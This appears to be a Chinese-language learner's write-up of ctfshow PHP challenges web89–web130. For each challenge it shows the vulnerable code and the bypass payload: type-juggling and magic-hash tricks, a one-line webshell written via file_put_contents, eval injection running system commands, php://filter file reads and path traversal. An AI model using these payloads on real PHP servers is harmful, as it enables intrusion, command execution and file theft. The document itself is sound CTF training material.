ctfshow php的特性

web89

include("flag.php");#包含一个flag的php文件
highlight_file(__FILE__);

if(isset($_GET['num'])){     
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

可知其限制这个数不能等于0-9,但是要求输出的是一个整数,我们试着用数组来绕过
成功了
intval()–非空的数组会返回1,可以采用数组绕过intval()函数
intval()函数只匹配整数部分

http://d1f0d116-4bf9-43b2-9ffc-68a977bc970a.challenge.ctf.show/?num[]=1

在这里插入图片描述

highlight_file — 语法高亮一个文件
isset — 检测变量是否已声明并且其值不为 null
preg_match — 执行匹配正则表达式
intval — 获取变量的整数值

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

我们可以看到4476是由双引号包裹起来,是个字符串,然后因为取整数,
.0加了也是整数,同时也满足了条件刚好跳过
flag就出来了

http://2171004c-ce42-45f5-9534-adab49dd8a83.challenge.ctf.show/?num=4476.0

在这里插入图片描述试试别的方法看看
使用十六进制

http://2171004c-ce42-45f5-9534-adab49dd8a83.challenge.ctf.show/?num=117c

发现绕不了只取整数
在这里插入图片描述这是为什么呢当然是因为你没有加前缀没有表明他是16进制的数字
0x加上表明是16进制数字,它就可以绕过了

http://2171004c-ce42-45f5-9534-adab49dd8a83.challenge.ctf.show/?num=0x117c

然后我们看上面,它只识别了数字没有识别字母,是不是使用字母也可以绕过果然

http://2171004c-ce42-45f5-9534-adab49dd8a83.challenge.ctf.show/?num=4476r

在这里插入图片描述
因为他只识别数字所以他都能绕过其他识别不了
用特殊符号也能过滤,好多特殊符号能绕过,我发现只要不是数字好像都能绕过哎,
但是# &不可以#注释注释掉了不行,&是管道符也不行
http://2171004c-ce42-45f5-9534-adab49dd8a83.challenge.ctf.show/?num=4476+

http://2171004c-ce42-45f5-9534-adab49dd8a83.challenge.ctf.show/?num=4476@

web91

preg_match 函数用于执行一个正则表达式匹配。
php开头,php结尾,i大小写,m多行匹配
多行匹配可以通过%0a(回车键)绕过

http://59228c66-38cb-46ec-b767-4360612f94e9.challenge.ctf.show/?cmd=php

在这里插入图片描述

http://59228c66-38cb-46ec-b767-4360612f94e9.challenge.ctf.show/?cmd=%0aphp

在这里插入图片描述

web92

使用16进制数不对了,然后加前缀0x试试
在这里插入图片描述这个不是字符串了,而是数字就等于数字本身进制数有用但是,字符串没有了,特殊符号也不行
在这里插入图片描述
八进制也可以用,但是记得要加前缀这样才是绕过
10574 转化成八进制是这样
要加前缀,前缀为0
就可以绕过了
在这里插入图片描述二进制也可以
在这里插入图片描述

WEB93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

比起前面多过滤了字母,二进制也用不了,但是把进制可以用因为八进制为纯数字

http://c2f880c9-2cc8-4ed7-8917-dad3b61b8369.challenge.ctf.show/?num=010574

我们试一下其他方法
我不会了,其他方法没试出来

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strpos($num, “0”)

八进制数也可以用,但由于num参数前加空格占位,使其满足第一位不能出现0的条件

http://4783ca13-41fe-4936-ac3f-af0386ae7646.challenge.ctf.show/?num= 010574

1
intval()函数只匹配整数部分,所以可以构建小数中含有0的payload:?num=4476.0

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

web94的基础上将.过滤了但是八进制还是可以用

http://38bc7a5e-176f-4cf4-97bf-c07dc6cf7709.challenge.ctf.show/?num= 010574

intval在处理加号和空格开发的数字的时候,会作为一个整数处理

web96

highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。

提示:用于高亮的颜色可通过 php.ini 文件进行设置或者通过调用 ini_set() 函数进行设置。

注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

在这里插入图片描述根据上题提示也可以这样解
/var/www/html/flag.php
将flag.php中的某个字符用特殊符号代替发现没有用
这道题我们需要读取flag.php文件,但是限制了参数u不能为flag.php,故可以采用相对路径来绕过。

http://1732c4c6-16f5-417c-93bc-714bc09d388a.challenge.ctf.show/?u=./flag.php

web97

利用数组绕过

a[]=1&b[]=2
a=QNKCDZO&b=240610708

在这里插入图片描述

web98

include("flag.php");#本php文档包含了一个flag.php文件,是我们想要的flag
$_GET?$_GET=&$_POST:'flag';#如果有get传参,就将get传参变为post传参。如果get传了一个值,那么就可以用post覆盖get中的值
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';#中间不太理解啥意思
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);#如果get传参了HTTP_FLAG=flag,就所以我们可以用post的方式将flag弄出来
highlight_file($flag)


?1=1

在这里插入图片描述 post:HTTP_FLAG=flag#利用post的方式去做
在这里插入图片描述

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?> 
array是一个数组
rand — 产生一个随机整数,如果没有提供可选参数 min 和 max,rand() 返回 0getrandmax() 之间的伪随机整数。例如想要 515(包括 515)之间的随机数,用 rand(5, 15)。
array_push — 将一个或多个单元压入数组的末尾(入栈)
array_push() 将 array 当成一个栈,并将传入的变量压入 array 的末尾。array 的长度将根据入栈变量的数目增加。和如下效果相同:
in_array — 检查数组中是否存在某个值
file_put_contents — 将一个字符串写入文件

这是一个php弱类型比较
我还是有点不懂,听课了也不太会
哇我知道用蚁剑,把这个做出来
首先我们判断随机数,先随便在1-36 的范围试一个数一直执行,将文件写进去,写进去的几率特别大,等我们写进去之后我们就可以使用,一句话木马,将文件连接起来,

http://c9875b13-d4a1-452a-ae22-e18cba7cfd93.challenge.ctf.show/20.php

这个个是在post里面的

1=system('tac /flag36d.php');

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$a=funcatin(){
}
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

方法1

is_numeric() 函数用于检测变量是否为数字或数字字符串。

几乎没有过滤直接命令执行

?v1=21&v2=var_dump($ctfshow)/*&v3=*/;

方法2

$v0=is_numeric($v1)#这个一句说明是一个数字,那么我们可知要给v1赋值数字

var_dump() 函数用于输出变量的相关信息。

web101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow(); #说明ctfshow是一个类然后创建一个对像
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

?> 



在这里插入图片描述

同第web100基本一样只是过滤多了一点
playload

?v1=143&v2=echo new ReflectionClass&v3=;

一个类的映射
反射机制的概念
    对于任意一个类,都能够获取这个类的所有属性和方法
    对于任意一个对象,都能调用这个对象的任意一个属性和方法
ReflectionClass 类报告了一个类的有关信息
当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo显示
即使传入了空的括号,代码依旧可以运行,且error_reporting(0)的存在阻止了报错

我的理解就是因为要执行V2和v3但是v2与ctfshow 绑定在了一起,然后v2过滤的比较多,所以我们可以不用绕过,直接用类的反射特性,将ctfshow这个对象的内容调用出来,然后v3正常绕过就可以了
在这里插入图片描述

替换0x2d为-,最后一位需要爆破,题目给的flag少一位
也可以一个一个试也不是很麻烦几率还是大的

web 102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);//v2是个数字is_numeric是用来检测是否是字符串和数字的
if($v4){
    $s = substr($v2,2);//返回v2中第二个后面的字符串
    $str = call_user_func($v1,$s);//将$v1调用$s的对象返回函数,简单来说就是,将$v1替换为$s
    echo $str;
    file_put_contents($v3,$str);//将v3写进$str中
}
else{
    die('hacker');//如果不满足就输出hacker
}


?>

substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。


call_user_func — 把第一个参数作为回调函数调用,通过函数的方式回调

echo() 函数输出一个或多个字符串。
注释:echo() 函数实际不是一个函数,所以您不必对它使用括号。然而,如果您想要传多于一个参数给 echo(),使用括号将会生成解析错误。
提示:echo() 函数比 print() 速度稍快。
提示:echo() 函数也有简化语法。在 PHP 5.4.0 版本之前,该语法只适用于 short_open_tag 配置设置启用的情况。

file_put_contents() 函数把一个字符串写入文件中。

该函数访问文件时,遵循以下规则:

    如果设置了 FILE_USE_INCLUDE_PATH,那么将检查 *filename* 副本的内置路径
    如果文件不存在,将创建一个文件
    打开文件
    如果设置了 LOCK_EX,那么将锁定文件
    如果设置了 FILE_APPEND,那么将移至文件末尾。否则,将会清除文件的内容
    向文件中写入数据
    关闭文件并对所有文件解锁

如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

在PHP中,字符串函数 hex2bin() 转换十六进制字符串为二进制(ASCII)字符串。有关将二进制(ASCII)字符串转换为十六进制字符串,请参考 bin2hex() 函数。
<?php
// 把十六进制值转换为二进制ASCII字符串
echo hex2bin('68656c6c6f20776f726c64');

-

    以上代码输出如下:

hello world

web103

跟web102是一样的

web104

在这里插入图片描述这个就是一个用post一个用get的方式传参
然后值是一样的

web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);#设置应该报告何种 PHP 错误
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?> 
 foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。有两种语法:

foreach (iterable_expression as $value)
    statement
foreach (iterable_expression as $key => $value)
    statement

第一种格式遍历给定的 iterable_expression 迭代器。每次循环中,当前单元的值被赋给 $value。

第二种格式做同样的事,只除了当前单元的键名也会在每次循环中被赋给变量 $key。

注意 foreach 不会修改类似 current()key() 函数所使用的数组内部指针。

还能够自定义遍历对象。

可以很容易地通过在 $value 之前加上 & 来修改数组的元素。此方法将以引用赋值而不是拷贝一个值。 

web106

利用数组绕过,方法与104相似-

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}



?>

在这里插入图片描述

playload get ?v2[]=1       post v1[]=45

web107

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

方法一

parse_str — 将字符串解析成多个变量
第二个参数:可选。规定存储变量的数组名称。该参数指示变量存储到数组中。

利用md5碰撞:使得v1中的flag=0,然后v3=0(md5(QNKCDZO)=0e…)


0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020

payload:vl=flag=0?v3=QNKCDZO

方法2

v1=  ?v3[]=1

我们不提交一个数值不给v1提供一个数值,数组返回的也是一个null,那么就是null对null
满足条件也可以绕过

web108

知识点ereg()函数的应用

highlight_file(FILE);
error_reporting(0);
include(“flag.php”);

if (ereg (“1+$”, $_GET[‘c’])===FALSE) {
die(‘error’);

}
//只有36d的人才能看到flag
if(intval(strrev($_GET[‘c’]))==0x36d){
echo $flag;
}

intval — 获取变量的整数值
(PHP 4, PHP 5, PHP 7, PHP 8)

strrev — 反转字符串
ereg()

正则匹配的一种,存在NULL截断漏洞,导致正则过滤被绕过,可以使用%00截断正则匹配
0x36d 十六进制转换为十进制为 877

playload: ?c=%00778

web 109

知识点未明

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(
   preg_match ('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?> 

在eval函数中,构建了一个新的类,我们可以保证在内部类不报错的情况下进行输出
isset — 检测变量是否已声明并且其值不为 null

?v1=exception&v2=system('ls')
?v1=exception&v2=system('tac f*')

web110

知识点php函数的利用

https://www.php.net/manual/zh/class.filesystemiterator.php
php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
 getcwd()函数 获取当前工作目录 返回当前工作目录 
 payload: ?v1=FilesystemIterator&v2=getcwd

`

filesystemiterator  遍历文件类
directoryIterator     遍历目录类

web111

知识点全局变量

var_dump — 打印变量的相关信息
说明
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){#是在传值
    eval("$$v1 = &$$v2;");#双$$是一个覆盖代表这个可以覆盖任何一个变量
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){#v1中必须包含含有ctfshow的函数
            getFlag($v1,$v2);
    }
    

    


}

?> 

为什么v2不能使用flag.php,因为flag.php是外部的但是,
function getFlag(&KaTeX parse error: Expected 'EOF', got '&' at position 4: v1,&̲v2){
eval(“KaTeX parse error: Expected 'EOF', got '&' at position 6: v1 = &̲v2;”);
var_dump($$v1);
}
这个是内部的
如果要将flag值传入那么我们需要一个常量,
这里用了一个全局变量来解决问题但是我不懂为什么在这时要用全局变量

大家一定都知道一旦在函数中global了某个外部变量后,这个变量就可以在这个函数中使用了

PYLODAG

v1=ctfshow&v2=GLOBALS

web112

知识点php伪协议

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 
is_file — 判断给定文件名是否为一个正常的文件
php伪协议的运用,以下事PHP支持的伪协议
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
在这里插入图片描述php://input
php://filter
比较常用

官方给出的playload有四种










php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

知识点php伪协议

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

多加了一个过滤器,之前的用不了了
可以试一下`

file=compress.zlib://flag.php

官方给的文档是一个目录溢出

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web 114

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 师傅们居然tql都是非预期 哼!

这个没有过滤filter所以可以直接用php伪协议

web115

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num); #str_replace — 子字符串替换0x会被替换为1 说明十六进制用不了
    $num=str_replace("0","1",$num); #八进制用不了
    $num=str_replace(".","1",$num);#整数加小数点用不了
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);#特殊符号用不了
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){#只有这三个都为true才能执行
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
} hacker!!!

函数的积累

is_numeric — 检测变量是否为数字或数字字符串 (在此函数的前面加空格是可以绕过的)
str_replace — 子字符串替换

trim — 去除字符串首尾处的空白字符(或者其他字符)
    " " (ASCII 32 (0x20)),普通空格符。
    "\t" (ASCII 9 (0x09)),制表符。
    "\n" (ASCII 10 (0x0A)),换行符。
    "\r" (ASCII 13 (0x0D)),回车符。
    "\0" (ASCII 0 (0x00)),空字节符。
    "\x0B" (ASCII 11 (0x0B)),垂直制表符。


PHP filter判断一个变量的内容是否符合要求
第二种、PHP filter根据要求过滤一个变量的内容
第三种、PHP filter判断输入的变量的内容是否符合要求
第四种、PHP filter根据要求过滤输入的变量的内容

首先先过第一个判断 和第二判断 首先得输出这个数字但是 $num!==‘36’ 说这个数字不能等于36
我们可以使用空格绕过

过第三个判断过第四判断都过了
刚好可以过判断0c (0c是换页键)

$num!‘36’ 想当于三个不等于号的全等 (当=或者!== 进行比较时则不进行类型转换,因为此时类型和数值都要对比)
$num==‘36’ 两个等号不进行进制转换(==等于并且它们类型转换后也要相等)

构造playload

?num=%0c36

web123

突破函数禁用

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];#传递给该脚本的参数。
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){#c是字符串要小于18
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?> 

$_SERVER[‘argv’] #传递给该脚本的参数。
isset — 检测变量是否已声明并且其值不为 null(isset() — 检测变量是否设置。)

然后一步步来,先看第一赋值,第二个赋值,第三个是get!isset($_GET[‘fl0g’]说明第三个变量没有设置所以第三个变量没有
KaTeX parse error: Expected 'EOF', got '&' at position 3: c)&̲&c<=18
第一步先输出
CTF_SHOW=a
第二步再输出
CTF_SHOW.COM=2
_ . 是不合法的字符,默认会把.转换为下划线但是只转换第一个后面的就保留了后面还有一个
playload

CTF_SHOW=a&CTF[SHOW.COM=2&fun=echo $flag
CTF_SHOW=a&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())

implode — 用字符串连接数组元素
get_defined_vars — 返回由所有已定义变量所组成的数组
echo — 输出一个或多个字符串

web125

新的打印输出知识点的认识和变量覆盖的问题

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

直接对post进行一个覆盖然后将其输出的值相等满足fl0g==="flag_give_me
extract — 从数组中将变量导入到当前的符号表

playload1

CTF_SHOW=a&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me

playload2

var_export — 输出或返回变量的可解析字符串表示

CTF_SHOW=a&CTF[SHOW.COM=2&fun=var_export(implode(get_defined_vars()))

这个是提示给的playload

GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126

听不太懂先过

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

playload

?ctf show=ilove36d

web128

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL 
_()是一个函数

_()==gettext()gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()返回由所有已定义变量所组成的数组 
call_user_func:把第一个参数作为回调函数调用
get_defined_vars()函数:返回由所有已定义变量所组成的数组 ,very顾名思义
因为$flag属于是被定义变量的范畴,所以利用?f1=_&f2=get_defined_vars

web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

readfile() 函数读取一个文件,并写入到输出缓冲。

如果成功,该函数返回从文件中读入的字节数。如果失败,该函数返回 FALSE 并附带错误信息。您可以通过在函数名前面添加一个 '@' 来隐藏错误输出。

同时也可以使用php为协议

?f=/ctfshow/../../../../../../../var/www/html/flag.php

web130

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

直接f=ctfshow就ok


  1. a-zA-Z ↩︎

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值